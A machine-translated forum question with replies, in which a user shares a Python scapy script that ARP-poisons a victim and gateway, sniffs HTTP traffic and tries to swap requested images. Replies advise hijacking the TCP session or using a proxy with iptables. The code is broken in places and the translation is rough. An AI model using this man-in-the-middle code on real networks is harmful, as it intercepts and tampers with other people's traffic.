2015-01-03 2 views
1

краткое объяснение того, что я пытаюсь сделать :)Python scapy нюхают ЗАМЕНА изображения

Я хочу, чтобы заменить каждое изображение внутри HTTP-трафика с одной конкретной.

Я начинаю с спуфинга arp, чтобы попасть в трафик. Затем я проверяю, содержит ли пакет http-необработанные данные. Если это так, я проверю, является ли запрос образным запросом. Если это запрос изображения, я пытаюсь заменить этот запрос своим.

Вот мой код:

#!/usr/bin/python 

from scapy.all import * 
import threading 
import os 

# Destination is the IP-Adress of the Victim 
# Source ist the IP-Adress of the Gateway 
# Opcode is Reply (2) 
def VictimPoisoning() : 
    VictimPacket = ARP(pdst=VictimIP, psrc=GatewayIP, op=2) 
    while True : 
     try: 
      send(VictimPacket, verbose = 0) 
     except KeyboardInterupt: 
      sys.exit(1) 

# Source ist the IP-Adress of the Gateway 
# Destination is the IP-Adress of the Victim 
# Opcode is Reply (2) 
def GatewayPoisoning() : 
    GatewayPacket = ARP(pdst=GatewayIP, psrc=VictimIP, op=2) 
    while True: 
     try: 
      send(GatewayPacket, verbose = 0) 
     except KeyboardInterupt:      
      sys.exit(1) 

    def TCPHttpExtract(pkt): 
     if pkt.haslayer(TCP) and pkt.getlayer(TCP).dport == 80 and pkt.getlayer(Raw): 

     #This packet should be sent by every image request 
     OwnPacket="GET /resources/css/mdr/global/img/iconFlash.jpg HTTP/1.1\nHost: www.site.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0\nAccept: image/png,image/*;q=0.8,*/*;q=0.5\nAccept-Language: de,en-US;q=0.7,en;q=0.3\nConnection: keep-alive" 

     StringJPG="" 
     StringPNG="" 
     StringGIF="" 
     StringPacket="" 
     liste=[]  

     for line in pkt.getlayer(Raw) : 
      liste.append(line) 

     #Check if the requests contains an *.jpg, *.png, *.gif 
     #Just check JPG - rest will be implemented later on 
     StringPacket=re.findall('(\s\/.*?\s)', str(liste)) 
     StringJPG=re.findall('.*\.jpg', str(StringPacket)) 
     StringPNG=re.findall('.*\.png', str(StringPacket)) 
     StringGIF=re.findall('.*\.gif', str(StringPacket)) 
     if(StringJPG): 
      send(OwnPacket) 

     #Forward packets 
     os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') 


     print "\n----------------------------------------" 
     VictimIP = raw_input("Victim-IP: ") 
     GatewayIP = raw_input("Gateway-IP: ") 
     IFACE  = raw_input("Interface: ") 
     print "-----------------------------------------\n" 

     VictimThread = [] 
     GatewayThread = []  

     print "Start poisoning the Victim ... \n" 

     while True: 
     try: 
      # VictimThread  
      VicPoison = threading.Thread(target=VictimPoisoning) 
      VicPoison.setDaemon(True) 
      VictimThread.append(VicPoison) 
      VicPoison.start()  

      # GatewayThread 
      GWayPoison = threading.Thread(target=GatewayPoisoning) 
      GWayPoison.setDaemon(True) 
      GatewayThread.append(GWayPoison) 
      GWayPoison.start() 

      pkt=sniff(iface=IFACE, prn=TCPHttpExtract) 

      # Cancel with STRG+C 
     except KeyboardInterupt:      
      sys.exit(1) 

КТ подмена работает, а также регулярное выражение изображения и отправка пакета, но браузер выиграл изменение т/получить это изображение. Нужно ли сначала уничтожить исходный пакет? Я не хочу использовать ettercap, я хочу сделать это с помощью python здесь:

* Извините за это плохое формирование.

Спасибо вам всем за помощь! :)

+0

Для этого вам нужно перехватить трафик, идущий на хост, изменить его и отправить измененный трафик на хост. Это означает, что вам понадобятся два интерфейса Ethernet: один, который открыт для шлюза, и тот, который изолирован. Вы будете слушать интерфейс шлюза, а затем пересылать пакеты в изолированный интерфейс. –

+0

Кроме того, вы не можете просто отправить случайный пакет с соответствующим уровнем протокола HTTP. Браузер взаимодействует с удаленным хостом через установленный сеанс TCP. Вы должны захватить эту конкретную сессию. Вы захотите перехватить TCP-трафик сразу после трехстороннего рукопожатия, чтобы вы могли захватить соответствующие порядковые номера и перейти оттуда. –

+0

Спасибо за это объяснение, и это должно было быть ясным для меня :) Я попробую настроить другой интерфейс. Спасибо :) – user3325230

ответ

0

Ответ на этот вопрос - прокси в сочетании с ip-таблицами.

 Смежные вопросы

  • Нет связанных вопросов^_^